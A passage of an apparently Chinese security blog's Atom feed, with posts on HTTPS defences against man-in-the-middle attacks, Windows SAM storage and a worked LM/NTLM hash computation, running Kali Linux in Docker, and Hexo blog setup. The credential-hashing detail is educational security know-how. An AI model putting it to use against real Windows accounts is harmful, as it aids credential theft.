<summary type="html"><h2 id="爱加密特性"><a href="#爱加密特性" class="headerlink" title="爱加密特性"></a>爱加密特性</h2><p>核心检测代码均在<code>libexecmain.so</code>中,爱加密会对该so进行加密处理,运行时会对其</summary>
<category term="app逆向" scheme="https://tripexlove.github.io/tags/app%E9%80%86%E5%90%91/"/>
</entry>
<entry>
<title>https如何预防中间人攻击</title>
<link href="https://tripexlove.github.io/p/30100.html"/>
<id>https://tripexlove.github.io/p/30100.html</id>
<published>2022-09-01T08:37:43.000Z</published>
<updated>2023-08-22T23:23:06.000Z</updated>
<content type="html"><![CDATA[<h2 id="什么是中间人攻击"><a href="#什么是中间人攻击" class="headerlink" title="什么是中间人攻击"></a>什么是中间人攻击</h2><ol><li>假设 Tom 想和 Jerry 交换一些秘密信息,然而 Tom 又不想跑到 Jerry 家里,于是 Tom 叫来了邮递员,给了邮递员一封信。信的内容是希望 Jerry 给 Tom 一个盒子(这个盒子有两把钥匙)和其中一把钥匙(另一把在 Jerry 手里)。</li><li>邮递员在拿到 Tom 给的信件以后,把 Tom 的信拆开看了一遍,了解到 Tom 希望 Jerry 给 Tom 一个有锁的盒子,又用另一个信封装了回去,并交给了 Jerry。</li><li>Jerry 在收到 Tom 的信(实际已经被邮递员拆阅过了)之后,给了邮递员一个有锁的盒子和其中一把钥匙。</li><li>邮递员想知道他们的通信内容,于是他把 Jerry 给 Tom 的盒子换成了他自己的盒子,并附上了自己盒子中的一把钥匙,并在之后将自己的盒子交给了 Tom。</li><li>Tom 在收到盒子之后,以为这个盒子是 Jerry 给他的,于是就把秘密的信件放进了盒子里,并把钥匙留下了,之后又交给了邮递员。</li><li>邮递员在拿到盒子之后,用自己的另一把钥匙打开盒子,看了里面的信件。之后将信件调换之后放进了 Jerry 给的盒子,交给了 Jerry。</li><li>Jerry 在拿到邮递员给他的盒子之后,并不知道这个盒子里的信件其实已经被邮递员调换过了,所以 Jerry 认为盒子里的信件是来自 Tom 且未被修改过的。之后 Jerry 把回信放进了盒子里,又交给了邮递员。</li><li>邮递员再次调换盒子里的信件,交给了 Tom。</li></ol><p>这就是一个典型中间人攻击的过程。在 HTTPS 中,Tom 就是客户端,Jerry 是服务端,而邮递员就是客户端和服务端之间的任何实体(包括代理服务器、路由器、反向代理服务器等等),两把钥匙分别是公钥和私钥。通信双方并不知道(且通常很难发觉)自己其实在和<em>中间人</em>通信而非直接和对方通信。在通信过程中,Tom 和 Jerry 并没有验证对方的身份,这就导致了邮递员可以任意查看、修改或者丢弃双方的通信内容。</p><h2 id="HTTPS-如何防范中间人攻击"><a href="#HTTPS-如何防范中间人攻击" class="headerlink" title="HTTPS 如何防范中间人攻击"></a>HTTPS 如何防范中间人攻击</h2><p>从上面的例子看起来,似乎任何在通信双方的实体都可以实施中间人攻击,那么 HTTPS 是如何防止中间人攻击的呢?要防止被中间人攻击,那么就要确保通信中的信息来自他声称的那个人,且没有被修改过。在现实中,有多种方式可以确定某个实体的身份,比如个人的签名 / 私章、组织的公章、甚至古时的信物。大部分情况下,只需要在信件最后盖上签上自己的名字或者盖上组织的公章,那么接收者就可以确定这封信件就来自于他所声称的那个人 / 组织。在二进制的世界中,可以使用数字签名来确保某段消息 / 某份文件确实是由他所声称的那个实体所发出来的。</p><p>在之前的文章中,我们介绍过非对称加密,其中公钥是公开的,而私钥只有拥有者知道。用私钥对某个文件 / 某段消息的散列值进行签名就像一个人亲手在信件最后签上了自己的名字一样,证明这份文件 / 这段消息确实来自私钥的拥有者(<em>因为公钥是公开的,私钥只有拥有者知道,所以如果能用其公开的公钥解开数字签名,那就证明这条消息确实来自于他私钥的拥有者</em>),这就可以确保消息是来自他所声称的那个实体。这样,在通信中,双方每次在写完消息之后,计算消息的散列值,并用自己的私钥加密生成数字签名,附在信件后面,接收者在收到消息和数字签名之后,先计算散列值,再使用对方的公钥解密数字签名中的散列值,进行对比,如果一致,就可以确保该消息确实是来自于对方,并且没有被篡改过。</p><p>不过有个问题,如果<em>中间人在会话建立阶段把双方交换的真实公钥替换成自己的公钥</em>了,那么中间人还是可以篡改消息的内容而双方并不知情。为了解决这个问题,需要找一个通信双方都信任的第三方来为双方确认身份。这就像大家都相信公证处,公证处拿着自己的公章为每一封信件都盖上了自己的章,证明这封信确实是由本人发出的,这样就算中间人可以替换掉通信双方消息的签名,也无法替换掉公证处的公章。这个公章,在二进制的世界里,就是<em><strong>数字证书</strong></em>,公证处就是 <em><strong>CA(数字证书认证机构)</strong></em>。</p><p>数字证书就是申请人将一些必要信息(包括公钥、姓名、电子邮件、有效期)等提供给 CA,CA 在通过各种手段确认申请人确实是他所声称的人之后,用自己的私钥对申请人所提供信息计算散列值进行加密,形成数字签名,附在证书最后,再将数字证书颁发给申请人,申请人就可以使用 CA 的证书向别人证明他自己的身份了。对方收到数字证书之后,只需要用 CA 的公钥解密证书最后的签名得到加密之前的散列值,再计算数字证书中信息的散列值,将两者进行对比,只要散列值一致,就证明这张数字证书是有效且未被篡改过的。</p><p>通信过程的安全性<em><strong>自下而上</strong></em>就是这样保证的:</p><ol><li>双方通信内容的安全性是靠公钥加密、私钥解密来保证的,这一安全性由非对称加密的特性,即由公钥加密的信息只能使用对应的私钥才能解开来保证。由于私钥不会传递,只有拥有者知道,所以<em>安全性就由<strong>公钥</strong>的正确性来保证。</em></li><li>公钥由对方在通信初始所提供,但是这时很容易被中间人替换掉,为了保证公钥的正确性,所以在发送公钥的时候也会提供对应的数字证书,用于验证这个公钥是对方的而不是中间人的。那么<em>安全性就是由<strong>数字证书</strong>的正确性来保证了。</em></li><li>数字证书是由上级 CA 签发给个人 / 组织的,上级 CA 用自己的私钥给个人证书进行签名,保证证书中的公钥不被篡改,而接受者需要用上级 CA 证书中的公钥来解密个人数字证书中的数字签名来验证证书中的公钥是否是正确的。那么<em>安全性就是由<strong>上级 CA 证书</strong>的正确性保证的了。</em></li><li>但是,上级 CA 证书也是由其上级 CA 签发的,这种信任关系一直到根证书。根证书没有上级 CA 为其签名,而是自签名的,也就是说,它自身为自身签名,保证正确性。所以根证书就是这个信任链最重要的部分。如果根证书泄露的话,其签名的所有证书及使用其签名的证书所签名的证书的安全性将不复存在。现在,<em>安全性就是靠系统<strong>根证书</strong>的私钥不被泄露或者其公钥不被篡改来保证的了。</em></li><li>根证书不应该通过网络分发,因为通过网络分发的话,可能会被中间人攻击。一般根证书都通过操作系统或者浏览器分发,在操作系统中会内置很多根证书,但是最初的操作系统也不能通过网络分发,因为中间人可以修改操作系统中的根证书。所以要保证安全只能靠最原始的方法,当面交流。硬件厂商会和证书签发机构合作,在电脑、手机等设备出厂的时候在其操作系统中<strong>内置</strong>签发机构的根证书,再将这些设备分发出去,这样,这些设备的用户就可以安全地进行信息交换了。所以,<em>安全性就依赖于这些设备在分发到消费者手中之前不会被恶意修改来保证了。</em></li></ol><p>至此,整个信任链就建立起来了,只需要有一台设备上安装了可以信任的根证书,就可以用来分发更多安全的操作系统了。之后的所有信任链都是安全的了。</p><hr><h2 id="SSLTrip-及-HSTS"><a href="#SSLTrip-及-HSTS" class="headerlink" title="SSLTrip 及 HSTS"></a>SSLTrip 及 HSTS</h2><p>HTTP 协议最初的时候是明文的,因为安全问题所以现在很多网站都在逐渐过渡到 HTTPS,然而对于大部分使用者来说,他们并不知道 HTTP 和 HTTPS 之间的区别,在浏览器输入地址的时候都是直接输入 <code>www.example.com</code> 而非 <code>https://www.example.com</code>,在大部分情况下,如果一个网站启用了 HTTPS,服务器会将这个请求使用 <code>301</code> 或者 <code>302</code> 状态码以及一个 <code>Location</code> 头部将请求从 80 端口重定向至使用 HTTPS 的 443 端口。但是,如果中间人劫持了使用者的网络请求,那么中间人可以阻止客户端与服务器建立 HTTPS 连接,而是一直使用不安全的 HTTP 连接,而中间人则和服务器建立正常的 HTTPS 连接,让客户端以为自己正在和真实服务器通信。这种攻击手法称作 SSLTrip。</p><p>为了解决这个问题,IETF(互联网工程任务小组)引入了一个策略,叫做 <strong>HSTS</strong> (HTTP Strict Transport Security, HTTP 严格传输安全)。HSTS 的作用是强制客户端与服务端建立安全的 HTTPS 连接,而非不安全的 HTTP 连接。如果一个站点启用了 HSTS 策略,那么客户端在第一次与该站点建立连接之后,在未来的一段时间内(由一个 HTTP 头部控制,这个头部为:Strict-Transport-Security),客户端与该站点的所有连接都会直接使用 HTTPS,<em>即使客户端访问的是 HTTP,也会直接在客户端重定向到 HTTPS 连接。</em></p><p>假设 <code>https://example.com</code> 的响应头部含有 <code>Strict-Transport-Security: max-age=31536000; includeSubDomains</code>,这意味着:</p><ol><li>在未来的 1 年时间里(即 31536000 秒中),只要浏览器向 <code>example.com</code> 或者其子域名发送请求,必须采用 HTTPS 来发起连接。即使用户在地址栏里写的是 <code>http://example.com</code>,那也直接重写为 <code>https://example.com</code> 并直接发起 HTTPS 连接。</li><li>在接下去的一年中,如果服务器提供的 HTTPS 证书无效(不论是域名对不上还是自签名还是不在有效期内),用户都无法访问该站点。</li></ol><p>如果站点没有启用 HSTS,用户可以忽略证书无效的警告,继续建立连接,而如果站点启用了 HSTS,那么用户即使想冒风险,浏览器也不会继续访问。</p><p>HSTS 可以很大程度上防止 SSLTrip 攻击,不过这样还是有个问题,那就是要启用 HSTS,浏览器至少要和服务器建立一次 HTTPS 连接,如果中间人一直阻止浏览器与服务器建立 HTTPS 连接,那么 HSTS 就失效了。解决这个问题有个办法,那就是将 HSTS 站点列表内置到浏览器中,这样只要浏览器<strong>离线</strong>判断该站点启用了 HSTS,就会跳过原先的 HTTP 重定向,直接发起 HTTPS 请求。</p><hr><p>转载自:<a href="https://segmentfault.com/a/1190000013075736">https://segmentfault.com/a/1190000013075736</a></p>]]></content>
<summary type="html"><h2 id="什么是中间人攻击"><a href="#什么是中间人攻击" class="headerlink" title="什么是中间人攻击"></a>什么是中间人攻击</h2><ol>
<li>假设 Tom 想和 Jerry 交换一些秘密信息,然而 Tom 又不想跑到 Je</summary>
<category term="Something" scheme="https://tripexlove.github.io/categories/Something/"/>
<category term="blog" scheme="https://tripexlove.github.io/tags/blog/"/>
</entry>
<entry>
<title>windows本地认证与网络认证</title>
<link href="https://tripexlove.github.io/p/47612.html"/>
<id>https://tripexlove.github.io/p/47612.html</id>
<published>2022-08-09T07:32:06.000Z</published>
<updated>2023-08-22T23:23:06.000Z</updated>
<content type="html"><![CDATA[<h1 id="window本地认证之NTML哈希和LM哈希"><a href="#window本地认证之NTML哈希和LM哈希" class="headerlink" title="window本地认证之NTML哈希和LM哈希"></a>window本地认证之NTML哈希和LM哈希</h1><h2 id="本地认证流程"><a href="#本地认证流程" class="headerlink" title="本地认证流程"></a>本地认证流程</h2><p>windows的登录密码是储存在本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与 SAM文件中的密码进行对比。</p><p>SAM文件是位于<code> %SystemRoot%\system32\config\</code> 目录下的,用于储存本地所有用户的凭证信息,但是这并不代表 着你可以随意去查看系统密码。</p><p>windowsbending认证流程如下:</p><p>首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入 信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库进 行比较认证。</p><h2 id="LM和NTLM哈希"><a href="#LM和NTLM哈希" class="headerlink" title="LM和NTLM哈希"></a>LM和NTLM哈希</h2><p> Windows操作系统中的密码一般由两部分组成,一部分为 LM Hash,另一部分为NTLMHash。在 Windows操作系统中,Hash的结构通常如下</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">username:RID:LM‐HASH:NT‐HASH<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="LM-HASH原理"><a href="#LM-HASH原理" class="headerlink" title="LM HASH原理"></a>LM HASH原理</h2><p>1、将明文口令转换为其大写形式 假设这里以明文Admin@123为例,转换为大写格式为:ADMIN@123 2、 将字 符串大写后转换为16进制字符串转换后为 41 44 4D 49 4E 40 31 32 33 3、密码不足14字节要求用0补全, 1Byte=8bit,上面的16进制字符串共9个字节,还差5个字节 我么使用 00 00 00 00 00 补全为 41 44 4D 49 4E 40 31 32 33 00 00 00 00 00 4、将上述编码分成2组7字节</p><pre class="line-numbers language-#" data-language="#"><code class="language-#">41444D494E4031 第一组 32330000000000 第二组<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>2、将每一组7字节的十六进制转换为二进制,每7bit一组末尾加0,再转换成十六进制组成得到2组8字节的编码:</p><p><em>第一组</em></p><pre class="line-numbers language-#" data-language="#"><code class="language-#">16进制:41 44 4D 49 4E 40 31 转换为二进制:01000001010001000100110101001001010011100100000000110001 七个为一组末尾补0100000010100010000100101010100010010100011100100000000001100010 合并后为0100000010100010000100101010100010010100011100100000000001100010 在转换为16进制:40A212A894720062<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><em>第二组</em></p><pre class="line-numbers language-#" data-language="#"><code class="language-#"> 16进制:32 33 00 00 00 00 00 转换为二进制:00110010001100110000000000000000000000000000000000000000 七个为一组末尾补0011001000011000110000000000000000000000000000000000000000000000 合并后为0011001000011000110000000000000000000000000000000000000000000000 在转换为16进制:3218C00000000000<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>3、将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串 KGS!@#$% 进行加密 KGS!@#$%的16进制为 <code>4B47532140232425</code></p><p><img src="/imgs/windows%E6%9C%AC%E5%9C%B0%E8%AE%A4%E8%AF%81%E4%B8%8E%E7%BD%91%E7%BB%9C%E8%AE%A4%E8%AF%81/image-20220809154318620.png" alt="image-20220809154318620"></p><p>4、最终结果拼接即可<code>6F08D7B306B1DAD4B75E0C8D76954A50</code></p><h2 id="NTLM-Hash原理"><a href="#NTLM-Hash原理" class="headerlink" title="NTLM Hash原理"></a>NTLM Hash原理</h2><p>1、将明文口令转换成十六进制的格式 如:Admin@123 转换成Unicode格式,即在每个字节之后添加0x00</p><pre class="line-numbers language-#" data-language="#"><code class="language-#">Admin@123转16进制 41646D696E40313233添加00:410064006D0069006E004000310032003300<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>2、对Unicode字符串作MD4加密,生成32位的十六进制数字串 <code>570a9a65db8fba761c1008a51d4c95ab</code></p>]]></content>
<summary type="html"><h1 id="window本地认证之NTML哈希和LM哈希"><a href="#window本地认证之NTML哈希和LM哈希" class="headerlink" title="window本地认证之NTML哈希和LM哈希"></a>window本地认证之NTML哈希和LM</summary>
<category term="Something" scheme="https://tripexlove.github.io/categories/Something/"/>
<category term="blog" scheme="https://tripexlove.github.io/tags/blog/"/>
</entry>
<entry>
<title>mac使用docker搭建kali虚拟机</title>
<link href="https://tripexlove.github.io/p/4661.html"/>
<id>https://tripexlove.github.io/p/4661.html</id>
<published>2022-08-08T12:36:56.000Z</published>
<updated>2023-08-22T23:23:06.000Z</updated>
<content type="html"><![CDATA[<h1 id="写在前面"><a href="#写在前面" class="headerlink" title="写在前面"></a>写在前面</h1><p>首先本文对使用mac尤其是m1芯片从事安全行业的朋友尤其友好。</p><p>使用m1芯片的各位肯定经常会遇到软件与arm架构不兼容的问题,我就遇到了无数回。<br>经常是因为一个软体就要配置配置一下午。比方说一个软件要安装它,又要给它配置环境变量又要配置网络,经常要踩无数个坑才可以把软件安装好。而kali正好就帮我们解决的这个问题,kali中集成了可以说百分之九十安全行业日常工作所需的工具。</p><p>but!!! 对于一个随随便便就要几十G的虚拟机而言又显得极为臃肿,并且在mac上使用虚拟机并不是一件轻松地事情。</p><p>有没有什么好的解决方法呢?当然有,他就是<strong>docker</strong>!</p><h1 id="docker是什么"><a href="#docker是什么" class="headerlink" title="docker是什么"></a>docker是什么</h1><p>对于docker首先会引入两个概念,一个是镜像一个是容器。</p><p>对于镜像可以把他理解为轻量版的虚拟机,或者理解成一个种子(你懂的)。举个例子,我下载的kali的镜像它只有131.4mb!</p><p><img src="/imgs/mac%E4%BD%BF%E7%94%A8docker%E6%90%AD%E5%BB%BAkali%E8%99%9A%E6%8B%9F%E6%9C%BA/image-20220808205131019.png" alt="image-20220808205131019"></p><p>当你运行这个镜像后,它就会生成一个容器。可以理解为种子下载成了视频。而这个容器就是我们操作的本体了。</p><h1 id="docker下载"><a href="#docker下载" class="headerlink" title="docker下载"></a>docker下载</h1><p>下载docker我们在官网下载即可</p><p><a href="https://docs.docker.com/desktop/install/mac-install/">https://docs.docker.com/desktop/install/mac-install/</a></p><p><img src="/imgs/mac%E4%BD%BF%E7%94%A8docker%E6%90%AD%E5%BB%BAkali%E8%99%9A%E6%8B%9F%E6%9C%BA/image-20220808205545946.png" alt="image-20220808205545946"></p><p>如果只用kali的话我建议先调整一下虚拟内存,如果大内存的土豪就当我没说。</p><p>默认是60g,我建议调到40g就完全够用了。</p><p><img src="/imgs/mac%E4%BD%BF%E7%94%A8docker%E6%90%AD%E5%BB%BAkali%E8%99%9A%E6%8B%9F%E6%9C%BA/image-20220808210223623.png" alt="image-20220808210223623"></p><p>docker下载后就有了运行镜像与容器的环境了,接下来我们就需要去docker hub下载镜像。</p><p><img src="/imgs/mac%E4%BD%BF%E7%94%A8docker%E6%90%AD%E5%BB%BAkali%E8%99%9A%E6%8B%9F%E6%9C%BA/image-20220808210325918.png" alt="image-20220808210325918"></p><p>不需要任何复杂的操作我们在终端里输入这条命令即可,其他环境同理:</p><p><img src="/imgs/mac%E4%BD%BF%E7%94%A8docker%E6%90%AD%E5%BB%BAkali%E8%99%9A%E6%8B%9F%E6%9C%BA/image-20220808210457586.png" alt="image-20220808210457586"></p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">docker pull kalilinux/kali-rolling<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>运行该镜像:</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">docker run --name kali -t -i kalilinux/kali-rolling /bin/bash<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="/imgs/mac%E4%BD%BF%E7%94%A8docker%E6%90%AD%E5%BB%BAkali%E8%99%9A%E6%8B%9F%E6%9C%BA/image-20220808210655626.png" alt="image-20220808210655626"></p><p>此时我们就进入kali的终端,接下来我们需要下载kali中的软体,首先因为网络原因我们需要先更换一下国内的源:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">vim</span> /etc/apt/sources.list<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>在该文档中添加如下信息阿里云和中科大选填,我这里用的是阿里云的源:</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">#阿里云deb http://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free#中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>更新apt</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">apt-get update && apt-get upgrade<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>安装kali所需软件</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">apt-get install kali-linux-everything //这是安装全部apt-get install kali-tools-top10 //这是安装top 10工具<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果安装的全部的话过程极其缓慢,耐心等待即可。<br>过程遇到停顿一路回车即可。<br>安装结束后该容器会自动命名为kali。</p><h1 id="后续操作"><a href="#后续操作" class="headerlink" title="后续操作"></a>后续操作</h1><p>此时我们关闭容器只需输入</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">docker stop kali<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>打开容器</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">docker start kali<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>打开终端</p><pre class="line-numbers language-#shell" data-language="#shell"><code class="language-#shell">docker exec -it kali /bin/bash //此为使用bash开启终端docker exec -it kali /bin/zsh //此为使用zsh开启终端,本人更加推荐zsh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>之后我们就可以愉快的在mac当中使用kali了</p>]]></content>
<summary type="html"><h1 id="写在前面"><a href="#写在前面" class="headerlink" title="写在前面"></a>写在前面</h1><p>首先本文对使用mac尤其是m1芯片从事安全行业的朋友尤其友好。</p>
<p>使用m1芯片的各位肯定经常会遇到软件与arm架</summary>
<category term="Something" scheme="https://tripexlove.github.io/categories/Something/"/>
<category term="blog" scheme="https://tripexlove.github.io/tags/blog/"/>
</entry>
<entry>
<title>Matery主题代码块问题</title>
<link href="https://tripexlove.github.io/p/undefined.html"/>
<id>https://tripexlove.github.io/p/undefined.html</id>
<published>2022-08-05T15:29:37.000Z</published>
<updated>2022-08-05T15:38:38.000Z</updated>
<content type="html"><![CDATA[<p>使用代码块时遇到不能正常显示的问题:</p><img src="/imgs/Matery%E4%B8%BB%E9%A2%98%E4%BB%A3%E7%A0%81%E5%9D%97%E9%97%AE%E9%A2%98/image-20220805233444630.png" alt="image-20220805233444630" style="zoom:33%;" /><p>死角方方相当的丑陋。</p><p><code>cd</code>到blog的根目录下修改_config.yml文件即可解决该问题</p><img src="/imgs/Matery%E4%B8%BB%E9%A2%98%E4%BB%A3%E7%A0%81%E5%9D%97%E9%97%AE%E9%A2%98/image-20220805233741515.png" alt="image-20220805233741515" style="zoom: 33%;" /><img src="/imgs/Matery%E4%B8%BB%E9%A2%98%E4%BB%A3%E7%A0%81%E5%9D%97%E9%97%AE%E9%A2%98/image-20220805233817353.png" alt="image-20220805233817353" style="zoom:33%;" /><p>瞬间心情愉悦</p>]]></content>
<summary type="html"><p>使用代码块时遇到不能正常显示的问题:</p>
<img src="/imgs/Matery%E4%B8%BB%E9%A2%98%E4%BB%A3%E7%A0%81%E5%9D%97%E9%97%AE%E9%A2%98/image-20220805233444630.png"</summary>
<category term="Something" scheme="https://tripexlove.github.io/categories/Something/"/>
<category term="blog" scheme="https://tripexlove.github.io/tags/blog/"/>
</entry>
<entry>
<title>hexo部署github记录</title>
<link href="https://tripexlove.github.io/p/37324.html"/>
<id>https://tripexlove.github.io/p/37324.html</id>
<published>2022-08-05T07:42:10.000Z</published>
<updated>2023-08-22T23:23:06.000Z</updated>
<content type="html"><![CDATA[<p>之前一直以为搭建博客是一个十分麻烦的事情,通过看过国光大佬的博客才知道hexo这个玩意儿。<br>网上一搜才发现原来搭建一个博客这么简单而且完全for free<br>我的博客已经搭建好了但是没有内容,所以就先记录一下搭建的过程,顺便看一下在这过程中是否还会遇到别的问题。(希望顺利)</p><h1 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h1><p>1.notejs下载 <a href="https://nodejs.org/en/">链接</a><br>2.git下载<br>3.hexo下载<br>4.注册github账号<br>5.本地生成ssh keys</p><h1 id="notejs下载"><a href="#notejs下载" class="headerlink" title="notejs下载"></a>notejs下载</h1><p>这个没什么说的 <a href="https://nodejs.org/en/">链接</a> 一路傻瓜式操作就完了</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805170655723.png" alt="image-20220805170655723"></p><p>↑(hexo搭配typora的图片问题之后我应该会再写一篇blog来讲解)</p><h1 id="git下载"><a href="#git下载" class="headerlink" title="git下载"></a>git下载</h1><h2 id="常规下载"><a href="#常规下载" class="headerlink" title="常规下载"></a>常规下载</h2><p>常规情况可以到<a href="https://git-scm.com/downloads/">git官方网站</a>进行下载</p><h2 id="M1-mac下载方式"><a href="#M1-mac下载方式" class="headerlink" title="M1 mac下载方式"></a>M1 mac下载方式</h2><p>常规情况就不必多说,针对m1的mac我推荐这个镜像网站进行下载<a href="https://www.newbe.pro/Mirrors/Mirrors-Git-For-MacOS/">镜像链接</a></p><h1 id="hexo安装"><a href="#hexo安装" class="headerlink" title="hexo安装"></a>hexo安装</h1><p>安装完了git就可以下载hexo了</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">npm</span> <span class="token function">install</span> -g hexo-cli<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>下载完成后使用<code>hexo -v</code>查看一下是否安装成功</p><p>首先先创建一个blog的根目录,我这里是在/Users/mac目录下</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /Users/mac<span class="token function">mkdir</span> blog<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><code>cd</code>到blog目录下就可以进行hexo初始化了</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">hexo init<span class="token function">npm</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>开启hexo服务</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">hexo ghexo s<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>此时在浏览器中输入localhost:4000就可以看到博客了</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805215641684.png" alt="image-20220805215641684"></p><p>看起来是不是很赏心悦目,哈哈哈,我十分喜欢这个主题,稍后告诉大家如何配置这个主题</p><h1 id="部署到github"><a href="#部署到github" class="headerlink" title="部署到github"></a>部署到github</h1><p>有了这个好看的博客,肯定能只在本地自己看,所以接下来我们就要把博客部署到github上面</p><h2 id="新建仓库"><a href="#新建仓库" class="headerlink" title="新建仓库"></a>新建仓库</h2><p>点击new repo创建一个新的仓库</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805221603298.png"></p><p>这里name一定要与用户名一致(这里因为我已经创建了所以提示exists)</p><p>Add a README file 也一定要勾选</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805221741533.png" alt="image-20220805221741533"></p><h2 id="sshkey-生成"><a href="#sshkey-生成" class="headerlink" title="sshkey 生成"></a>sshkey 生成</h2><p>在2021年8月 github移除了账号密码认证git的方法,因为这个我推送了一晚上报错了一晚上</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805220159425.png" alt="image-20220805220159425"></p><p>所以我们使用ssh方法,因此我们首先要生成sshkey</p><p>生成密钥文件<br>打开终端 输入命令</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">ssh-keygen -t rsa -C <span class="token string">"username"</span> // username为你git上的用户名<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>接下里命令行可能会返回以下内容</p><p><code>Generating public/private rsa key pair. Enter file in which to save the key (/Users/username/.ssh/id_rsa):</code></p><p>我们直接回车,命令行继续提示</p><p><code>/Users/your username/.ssh/id_rsa already exists.Overwrite (y/n)?</code></p><p>输入 y,命令行继续提示</p><p><code>Enter passphrase(empty for no passphrase)</code></p><p>直接回车, 这时SSH key就已经生成了 文件目录就是:username/.ssh/id_rsa.pub<br>我们打开id_esa.pub将其中的内容复制下来</p><h2 id="将项目部署到github"><a href="#将项目部署到github" class="headerlink" title="将项目部署到github"></a>将项目部署到github</h2><p>首先打开github 将刚复制的内容添加进去</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805221158519.png" alt="image-20220805221158519"></p><p>之后我们需要到blog的根目录下编辑_config.yml文件</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805221325297.png" alt="image-20220805221325297"></p><p>到最后一行添加如下内容:</p><p>repo是仓库的意思,把链接中的用户名替换程你的就可以了</p><p><img src="/imgs/hexo%E9%83%A8%E7%BD%B2github%E8%AE%B0%E5%BD%95/image-20220805221406742.png" alt="image-20220805221406742"></p><p>回到终端使用<code>hexo d</code>即可推送到github</p><p>使用username.github.io即可访问blog了</p><hr><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>下次我一定要变操作边记录,单独花时间写blog太枯燥了</p>]]></content>
<summary type="html"><p>之前一直以为搭建博客是一个十分麻烦的事情,通过看过国光大佬的博客才知道hexo这个玩意儿。<br>网上一搜才发现原来搭建一个博客这么简单而且完全for free<br>我的博客已经搭建好了但是没有内容,所以就先记录一下搭建的过程,顺便看一下在这过程中是否还会遇到别的问题。(</summary>
<category term="Something" scheme="https://tripexlove.github.io/categories/Something/"/>
<category term="blog" scheme="https://tripexlove.github.io/tags/blog/"/>
</entry>
</feed>